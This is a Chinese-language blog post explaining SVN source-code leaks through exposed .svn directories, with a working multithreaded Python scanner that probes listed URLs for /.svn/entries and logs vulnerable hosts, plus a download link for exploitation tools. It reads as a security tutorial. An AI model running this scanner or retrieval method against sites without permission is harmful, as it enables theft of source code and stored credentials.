SVN源码泄露漏洞
文章最后更新时间为:2018年12月21日 20:52:46
svn泄露漏洞,古老但是偶尔遇到,在交流群里看到有人分享,简单记录一波。
关于svn泄露漏洞
摘抄一下其他博客的内容,来源点击这里
SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。”(可以利用.svn/entries文件,获取到服务器源码、svn服务器账号密码等信息)
更严重的问题在于,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,黑客则可以直接获得文件源代码。
怎么检测?
很简单直接在被利用的网址后面加 /.svn/entries。也可以写一下poc。这里有个简单的检测poc:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
filename: svncheck.py
name: svn源码泄露扫描
description: 忘记了删除.svn目录而导致的漏洞。
'''
import re
import sys
import requests
import queue
import threading
class svn_check(threading.Thread):
def __init__(self, q):
threading.Thread.__init__(self)
self.q = q
def run(self):
while not self.q.empty():
url=self.q.get()
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
payload = "/.svn/entries"
vulnurl = url + payload
try:
req = requests.get(vulnurl, headers=headers, timeout=5, verify=False, allow_redirects=False)
contents = str(req.text).replace('\n','')
pattern = re.compile(r'has-props|file|dir')
match = len(pattern.findall(contents))
if req.status_code == 200 and match > 0:
print("[+]存在svn源码泄露漏洞...(高危)\tpayload: "+vulnurl)
with open('target.txt','a') as f1:
f1.write(vulnurl+'\n')
f1.close()
else:
print("[+]不存在svn源码泄露漏洞"+" "+url)
except:
pass
def urlget():
with open('url.txt','r',encoding='utf8')as f:
urls=f.readlines()
for tmp in urls:
if '//' in tmp:
url=tmp.strip('\n')
urlList.append(url)
else:
url='http://'+tmp.strip('\n')
urlList.append(url)
return(urlList)
f.close()
if __name__=="__main__":
urlList=[]
urlget()
threads = []
threads_count = 10
q=queue.Queue()
for url in urlList:
q.put(url)
for i in range(threads_count):
threads.append(svn_check(q))
for i in threads:
i.start()
for i in threads:
i.join()
在文件目录下,新建一个url.txt将url列表保存在txt中,然后运行python svncheck.py
即可,存在漏洞的结果会保存在target.txt中。
怎么利用?
网上利用工具很多,如有需要也可以这里下载:
链接:https://pan.baidu.com/s/1j5FVIDel21yPfWtGW6I8_A 密码:lovg